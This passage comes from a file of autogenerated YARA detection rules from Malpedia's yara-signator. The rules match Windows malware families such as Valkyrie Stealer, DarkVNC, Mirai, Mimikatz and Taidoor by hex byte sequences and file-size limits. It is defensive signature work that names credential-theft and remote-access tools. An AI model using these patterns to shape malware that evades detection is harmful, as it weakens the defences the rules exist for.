		id = "ec077e48-e364-5ad2-b3eb-708d9cb96474"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dented"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dented_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "8a83542dc4cfbb6071fb1f2a2748ff19dad273e746a7625af72e8307d011702d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? bf08020000 8d85ecfbffff 57 }
		$sequence_1 = { c1e814 8b4dfc 5f 33cd }
		$sequence_2 = { 8d55ff a1???????? 52 885dff 8d4810 }
		$sequence_3 = { 8b35???????? 8d85f8feffff 50 8d85f4fdffff 50 ffd6 }
		$sequence_4 = { 6a01 53 68???????? ffb5e8fbffff ff15???????? }
		$sequence_5 = { e8???????? 8364242c00 8d4c2434 807d1c00 c74424300f000000 c644241c00 }
		$sequence_6 = { 59 8bf0 8bcf 33c0 89b5e8f7ffff 2185f0f7ffff }
		$sequence_7 = { 8b85f8f7ffff 8a8485fcfbffff 32c1 880416 8b8decf7ffff 43 42 }
		$sequence_8 = { c21000 55 8bec 81ec18040000 a1???????? 33c5 8945fc }
		$sequence_9 = { 5f 57 8d45b8 6a00 50 }
	condition:
		7 of them and filesize < 450560
}

rule MALPEDIA_Win_Valkyrie_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d4598928-8b14-591c-9777-90769a8eecd7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.valkyrie_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.valkyrie_stealer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "c5262da30071ead337de0712314a64ba13ec652e925a6c656e4cda19b1fcb853"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89442430 85c0 0f85ab130000 4a8b4c3500 44396914 7d18 e8???????? }
		$sequence_1 = { 85c9 741c 498b07 44386067 750f 498b8788000000 488d0c49 }
		$sequence_2 = { e8???????? 448b4ddc eb2a 8d4101 418907 488d0c49 488b8388000000 }
		$sequence_3 = { 8bc2 c645b82d c1e81f 03d0 c645bb20 c645be3a 8d0492 }
		$sequence_4 = { 8bde eb4e 803c3e75 751b 8d4305 413bc6 7359 }
		$sequence_5 = { e8???????? 8d4701 e9???????? 8bcd 488d15829f0b00 4803ce 41b804000000 }
		$sequence_6 = { 8b8590000000 ffc8 4898 488d0c40 488d1ccf 0fbe4301 3cfa }
		$sequence_7 = { 7417 4c8b542448 41f6427002 750b 410fbae61c 0f820c010000 488b85f0000000 }
		$sequence_8 = { 488bf0 4885c0 0f84cb000000 837d0800 7411 488b4f20 498bd6 }
		$sequence_9 = { eb25 48c744242002000000 4c8d0d17781100 4533c0 ba02000000 488d8c2498000000 e8???????? }
	condition:
		7 of them and filesize < 2895872
}

rule MALPEDIA_Win_Milum_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "072a5425-70d6-5cbe-aab8-850ca665ab19"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.milum"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.milum_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "9236edc24d0ffb81128dcba2f9b72495a7a041ad4784e9ea16fcd910b2720b0b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f85c1000000 8b7608 385e44 751c c6424401 c6464401 8b5104 }
		$sequence_1 = { 53 8d9424bc000000 c741140f000000 895910 52 8819 e8???????? }
		$sequence_2 = { 89a570feffff 6aff 53 8d5508 897114 895910 52 }
		$sequence_3 = { 8b4214 2b4644 8b5218 8945e4 03c1 3bc2 7605 }
		$sequence_4 = { 8b5604 52 c645fc06 e8???????? bf10000000 eb1b bf10000000 }
		$sequence_5 = { 895e18 885e08 8b4df4 64890d00000000 59 5e 5b }
		$sequence_6 = { 50 ba???????? e8???????? 8b850cfcffff a804 7414 8d4dc8 }
		$sequence_7 = { 7e16 8b4d08 8b55d8 c741180d000000 89511c 83791800 7509 }
		$sequence_8 = { c645fc17 50 8d4dc8 e8???????? c645fc03 8d8d04ffffff e8???????? }
		$sequence_9 = { c745e000000000 c645d000 397e14 7314 8b4610 40 50 }
	condition:
		7 of them and filesize < 1076224
}

rule MALPEDIA_Win_Retro_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d637dc20-27e8-52c5-9acd-7f862f01bb0c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.retro"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.retro_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "273926cf1373ebba7c2ee31df8ab1a96a84446d1d934a401daaeed8742274515"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f3ab 498bec 4585e4 0f8e59010000 488b442428 f2440f1005???????? 498db5fc070000 }
		$sequence_1 = { 4c8b442460 ffc0 4883c108 4883c204 4983c320 4981c100240000 4981c220290000 }
		$sequence_2 = { 488bd9 e8???????? 85c0 7409 8b430c 4883c420 5b }
		$sequence_3 = { 488b4f18 4533c0 e8???????? 488b4f20 8981a0120000 488b4720 8b88ec120000 }
		$sequence_4 = { 664585d2 7964 4983c102 ffce 7852 498b942430560000 418b8c2428560000 }
		$sequence_5 = { f30f5cd9 f30f108814100000 f30f59c4 f30f59dc f30f114018 f30f119818100000 f30f105810 }
		$sequence_6 = { 418bd5 488bcb 4869ff90140000 4903ff e8???????? 837b2401 750b }
		$sequence_7 = { 0f14c0 450f14c0 0f5ac0 410f5ac8 f2410f58c2 f20f5ec8 f20f5ad1 }
		$sequence_8 = { 83c364 83bfa000000000 740b 488bd6 488bcf e8???????? 4533c9 }
		$sequence_9 = { f30f114f08 f30f104308 0f2f4708 768e ba01000000 eb89 f30f104304 }
	condition:
		7 of them and filesize < 1409024
}

rule MALPEDIA_Win_Lumar_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "66198547-c312-5005-8756-3c4d434f3dfb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumar"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lumar_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "7775336cd5e4593c9fd91e39a7fb1823140e1a9590624def112d1a4339e9c62e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7418 8b4514 83c004 894514 8b4514 }
		$sequence_1 = { 6a68 66898506ffffff 58 6a2f 6689850affffff 58 }
		$sequence_2 = { 8bd9 03fe e8???????? 3bf8 7604 33c0 }
		$sequence_3 = { e8???????? 8b7d08 8b5610 8bca 2b4e0c 0fb7df }
		$sequence_4 = { 58 6bc005 ff5405b4 6a04 58 6bc007 }
		$sequence_5 = { 668945b0 e8???????? 83c414 fe05???????? 8bce e8???????? 8bcb }
		$sequence_6 = { 3bc2 753e 8b4510 85c0 74d3 }
		$sequence_7 = { 0fb74df8 3bc1 7503 ff65e0 ebd9 }
		$sequence_8 = { 0f2805???????? b900010000 53 56 57 }
		$sequence_9 = { 8d842414010000 47 50 57 6a00 c7842420010000a8010000 }
	condition:
		7 of them and filesize < 81920
}

rule MALPEDIA_Win_Tinytyphon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ab55cd29-217a-5df2-bee5-a74f289c1c92"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinytyphon_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "68d6c1790e6e0cef7204bca3122eca023e6ea67ccbabc152f7ca7bf6dee039f5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 ff15???????? 8d55ec 52 ff15???????? 8d45ec }
		$sequence_1 = { 7412 68???????? 8d85e8feffff 50 ff15???????? 8d8dccfdffff 51 }
		$sequence_2 = { 0bc2 8b4df4 0fb6512b c1e218 0bc2 8b4d08 }
		$sequence_3 = { 8b55c8 0355c0 8b45d4 0345c0 8a08 880a }
		$sequence_4 = { 8b550c 8b4208 50 68???????? 8b4d08 51 ff15???????? }
		$sequence_5 = { 83bd54ffffff00 7517 8b9558ffffff 52 ff15???????? b801000000 e9???????? }
		$sequence_6 = { c1e918 8b550c 884a53 8b450c }
		$sequence_7 = { 85c0 744b 8b5508 0fb602 }
		$sequence_8 = { 8945f0 837df000 0f8485000000 8b4df0 0fbe5108 83fa02 7410 }
		$sequence_9 = { 8945f8 8b4ddc f7d1 0b4df8 334de4 8b5508 038a94000000 }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Darkvnc_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "333202ce-cf04-5e1c-95d5-ed62536bc798"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkvnc_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "7d4bb25715c42c98fca5b840dde51c070d19a7e331a44598eca4d1a3afd0df99"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 428994817c120000 48638178540000 891481 ff8178540000 c3 8bc2 41b2ff }
		$sequence_1 = { 81f9f4010000 7265 488bd5 898708030000 488bcf e8???????? 488b4768 }
		$sequence_2 = { 4c8bc1 ebdd 81fba3000000 0f8583000000 33d2 488bcf ff15???????? }
		$sequence_3 = { 4c8bf9 4889b5b8020000 4889bdc0020000 488d1508df0000 488d4d00 33ff 4d8be1 }
		$sequence_4 = { 488d542420 488bcf e8???????? 8bd8 488b0d???????? 4c8bc7 33d2 }
		$sequence_5 = { 740c 498bd7 488bcb ff15???????? 4d85f6 740c }
		$sequence_6 = { f645e801 7425 8b8f80000000 85c9 0f94c0 a801 7436 }
		$sequence_7 = { e9???????? 488b442448 4889442460 488b442460 4863403c 488b4c2460 4803c8 }
		$sequence_8 = { 83caff ff15???????? 488d55e0 488bcb e8???????? 488b8be8070000 ff15???????? }
		$sequence_9 = { 4889842480000000 4883bc24800000000d 0f874b070000 488d0577f9feff 488b8c2480000000 8b8c88dc0d0100 }
	condition:
		7 of them and filesize < 606208
}

rule MALPEDIA_Win_Zenar_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "33657347-5dc4-5466-88de-08ba2a4ff542"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zenar"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zenar_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "b1dde475bc16460bb8f7878e012acfd9a678e7c83f20d6fc1c96df7645d0898c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4d8c 51 50 e8???????? 59 }
		$sequence_1 = { 751a 83f8ff 740f 83f8fe 740a 6bcf38 030c9598ae4300 }
		$sequence_2 = { 83c801 50 6800000080 ff7508 e8???????? 5d }
		$sequence_3 = { 56 ff7508 e8???????? 83c40c e9???????? 8b048d98ae4300 807c022800 }
		$sequence_4 = { 68???????? eb0c 68???????? eb05 68???????? e8???????? 39be90000000 }
		$sequence_5 = { 8bf1 57 ff750c 33ff 8975fc 8d4e0c c706???????? }
		$sequence_6 = { c3 6857000780 68???????? 8d4df0 e8???????? 68???????? 8d45f0 }
		$sequence_7 = { 8945fc 56 ff750c 8b7508 8d45fa 50 8975c8 }
		$sequence_8 = { 3bfe 72f3 33c0 66890472 8bc3 }
		$sequence_9 = { 48 6a5c 5e 8d0442 eb0d 6683f92f 740f }
	condition:
		7 of them and filesize < 519168
}

rule MALPEDIA_Win_Funksec_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9193fd51-0ac6-5db6-9635-e6eb925df3d1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.funksec"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.funksec_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "06f95012988e8bb48797f6f8504bd1b10c3653d29a2d1e0983bf3fe910630ecb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 4c8bb550020000 440fb68d58020000 48b80a00000000000080 4939c6 0f85a9020000 4489e1 }
		$sequence_1 = { e8???????? 66c7060101 c7460401000000 488d05b2591e00 48894608 48c7461001000000 0f57c0 }
		$sequence_2 = { e9???????? 488b8528110000 48898520110000 4c8d0564cf2c00 ba80000000 e8???????? e9???????? }
		$sequence_3 = { ba21000000 e8???????? 488d0ddb081100 4c8d056c091100 ba1f000000 e8???????? 488d0d73091100 }
		$sequence_4 = { e8???????? 84c0 89fb 0f84f6000000 488b0d???????? 488b4138 4885c0 }
		$sequence_5 = { e9???????? 4489f0 83e01f 410fb65701 83e23f 4180fedf 7664 }
		$sequence_6 = { e9???????? 488d05f6d11400 488985a0000000 48c785a800000001000000 48c785b000000008000000 0f57c0 0f1185b8000000 }
		$sequence_7 = { e8???????? ebde 498b07 4885c0 0f84c3010000 48c1e003 488d1440 }
		$sequence_8 = { e8???????? 4c8bad30360000 4d8db518010000 41b828030000 4c89f1 4889da e8???????? }
		$sequence_9 = { ebd0 49ffc3 49ffc9 4d8918 4d894808 488d05cdf81000 488945d8 }
	condition:
		7 of them and filesize < 10986496
}

rule MALPEDIA_Win_Kivars_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "97e9352f-68df-56fa-86e0-872f02c50448"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kivars"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kivars_auto.yar#L1-L164"
		license_url = "N/A"
		logic_hash = "4d20cf7aacd2e8c5bf1e2fc02d32857c61e25ca91f0ca5072534ea8bbca535b9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 448bc0 488d542440 488b8c2478080000 e8???????? }
		$sequence_1 = { e8???????? 4c8d442440 488d942464030000 488b8c24e0050000 e8???????? }
		$sequence_2 = { c784247004000001000000 83bc247004000000 7548 c784247c05000000000000 488d8c2440010000 }
		$sequence_3 = { e8???????? 90 488d4c2430 e8???????? 486344242c }
		$sequence_4 = { 8bcb 66897304 e8???????? 83f8ff }
		$sequence_5 = { 85c0 7424 50 8b4354 50 ffd7 }
		$sequence_6 = { 49 80bc0c7b0100005c 7433 bf???????? 83c9ff }
		$sequence_7 = { 33c0 8d7c2418 f3ab 8d4366 6689542418 6a00 6a00 }
		$sequence_8 = { 488d8c24780b0000 e8???????? e9???????? 488d542430 488d8c2440010000 }
		$sequence_9 = { 482bc8 488bc1 89442428 e9???????? 8b442440 ffc8 }
		$sequence_10 = { e9???????? 488b842460100000 48ffc0 ba3a000000 }
		$sequence_11 = { 51 89442420 897c2434 ff15???????? 8b4c241c }
		$sequence_12 = { 0bf0 83e23f 83c703 83c504 8a443410 }
		$sequence_13 = { 894c244e b900080000 668b5004 33c0 50 50 }
		$sequence_14 = { 8d7a01 57 e8???????? 83c404 8bd8 }
		$sequence_15 = { 8b842400010000 488bc8 ff15???????? 4889842480000000 4883bc248000000000 }
	condition:
		7 of them and filesize < 196608
}

rule MALPEDIA_Win_Navrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0af75ae7-7ace-560b-b2d7-c19b71f71863"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.navrat_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "ae93408812c109848736690d96b263c956c354ad0be060f7ff964bd9ca44b655"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c1e610 0bf0 56 e8???????? }
		$sequence_1 = { 7707 0fbec0 83e847 c3 8d48d0 80f909 }
		$sequence_2 = { 1bf6 f7de 56 68???????? e8???????? }
		$sequence_3 = { 8d48bf 80f919 7707 0fbec0 83e841 }
		$sequence_4 = { 8d85a4feffff 50 6801000080 ff15???????? }
		$sequence_5 = { 56 50 57 a3???????? ff15???????? 57 ff15???????? }
		$sequence_6 = { 0fbec0 83e847 c3 8d48d0 80f909 7707 }
		$sequence_7 = { 7503 884702 85f6 7407 8b7608 }
		$sequence_8 = { fec8 2440 fec8 c3 }
		$sequence_9 = { 884702 85f6 7407 8b7608 }
	condition:
		7 of them and filesize < 352256
}

rule MALPEDIA_Win_Taidoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ba437ab9-6c90-576a-83d2-5801ebb87e42"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taidoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.taidoor_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "7b8ed6f15654e580fefed39d2d4fea0473e69a1fd6a98339a075f2fbcf4be749"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7433 ff750c 889c05f4fbffff 50 8d85f4fbffff 6a01 50 }
		$sequence_1 = { 395d10 7e1b 56 8b450c }
		$sequence_2 = { 897df0 50 56 e8???????? 8b3d???????? 83f86f 750c }
		$sequence_3 = { 83a00401000000 b001 c9 c20800 8b8104010000 }
		$sequence_4 = { 7e24 8a0406 fec0 3c3a 8845ec }
		$sequence_5 = { 57 a0???????? c745fc01000000 8ac8 f6d9 1bc9 33db }
		$sequence_6 = { b940420f00 f7f9 8d45e0 52 ff35???????? ff35???????? }
		$sequence_7 = { e9???????? 8d4de0 e8???????? 8d8588f7ffff 50 ff35???????? ffd6 }
		$sequence_8 = { ff75ec 8d4df0 e8???????? 8b450c 46 3b70f8 7cdc }
		$sequence_9 = { 53 50 53 c7458844000000 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Xsplus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5e1cc002-aafa-57a5-ac8f-12fca4d9f30a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xsplus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xsplus_auto.yar#L1-L182"
		license_url = "N/A"
		logic_hash = "dcc5687f917495ecca687c74006688a8948f135325a7531bf3c5206fe8cc2299"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b761c 8b4608 8b7e20 8b36 66394f18 75f2 }
		$sequence_1 = { 8bec 83ec18 8b4518 8945f0 8b4d14 }
		$sequence_2 = { 8b55ec 8b01 3b4210 0f83af000000 6a01 8d4df8 51 }
		$sequence_3 = { 8b5520 8955f8 8b451c 8945e8 8b4d10 83e102 85c9 }
		$sequence_4 = { 83c201 8955f8 8b4514 8945f4 }
		$sequence_5 = { aa a0???????? 8885c8fbffff b940000000 33c0 8dbdc9fbffff }
		$sequence_6 = { 85c0 7524 a1???????? a3???????? a1???????? c705????????04264000 8935???????? }
		$sequence_7 = { 8b8db4fdffff 81e9cd860100 898db4fdffff 83bdb4fdffff03 }
		$sequence_8 = { 898da8feffff 8b95a8feffff 52 8b85ccfeffff 50 8d4de0 }
		$sequence_9 = { 6804010000 8d85fcfeffff 50 6a00 ff15???????? 6804010000 8d8df0fcffff }
		$sequence_10 = { 8985b8fdffff 81bdb8fdffff10010000 7723 81bdb8fdffff10010000 }
		$sequence_11 = { 8b5508 89510c 8b45ec 8b4d0c 894808 8b55ec c7421000000000 }
		$sequence_12 = { c74668e0a34000 6a0d e8???????? 59 8365fc00 ff7668 ff15???????? }
		$sequence_13 = { 8d85d0fcffff 50 8d8dc8fbffff 51 e8???????? }
		$sequence_14 = { 0355fc 0fb602 33c1 8b4d0c 034dfc 8801 }
		$sequence_15 = { 8a8c181d010000 888808a74000 40 ebe6 }
		$sequence_16 = { 50 ff15???????? b801000000 e9???????? 8d95c4fdffff }
	condition:
		7 of them and filesize < 597872
}

rule MALPEDIA_Win_Mirai_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6b007e0f-a886-5f64-abd3-07f6ed5e9b2a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirai"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mirai_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "63027a45f46dffdd65577fa0ba420730c7c3c1478a8b6e1e30240b9df0cbea70"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b00 8b4dfc 668b00 668981a00b0000 8b4508 8b00 40 }
		$sequence_1 = { e8???????? 59 50 ff7508 8b4da0 e8???????? 0fb6c0 }
		$sequence_2 = { c3 8d88dfa9ffff 83f95d 7709 0fb704458ebf6b00 c3 8d90dfa8ffff }
		$sequence_3 = { 8bcf e8???????? 8b38 85ff 7447 8b4f08 51 }
		$sequence_4 = { 8b9654040000 68b3fe654f 51 6a64 6a02 68???????? 52 }
		$sequence_5 = { 8bce e8???????? 8bf8 3bfb 0f840cffffff 8bce e8???????? }
		$sequence_6 = { c3 bac8c50000 663bc2 720a b9f0c50000 663bc1 7610 }
		$sequence_7 = { ff15???????? 8945fc 837dfc00 7c33 ff75f8 ff15???????? 8945fc }
		$sequence_8 = { 8b85d4fdffff 8a00 8885cffdffff ff85d4fdffff 80bdcffdffff00 75e3 8b85d4fdffff }
		$sequence_9 = { 8b5e08 eb12 8b4e08 8b4604 6a00 52 51 }
	condition:
		7 of them and filesize < 7086080
}

rule MALPEDIA_Win_Mimikatz_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "aca0d4e4-4192-5121-a9cd-9ca0e401c83a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mimikatz_auto.yar#L1-L209"
		license_url = "N/A"
		logic_hash = "3624438eda15e47ae98de9ad5feae5e5f01b75b23634de1325ad601ffd44065d"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83f8ff 750e ff15???????? c7002a000000 }
		$sequence_1 = { f7f1 85d2 7406 2bca }
		$sequence_2 = { 3c02 7207 e8???????? eb10 }
		$sequence_3 = { eb84 668b442430 eb1d 834608fe }
		$sequence_4 = { 83f812 72f1 33c0 c3 }
		$sequence_5 = { e8???????? 83c8ff e9???????? 8d0412 89442438 }
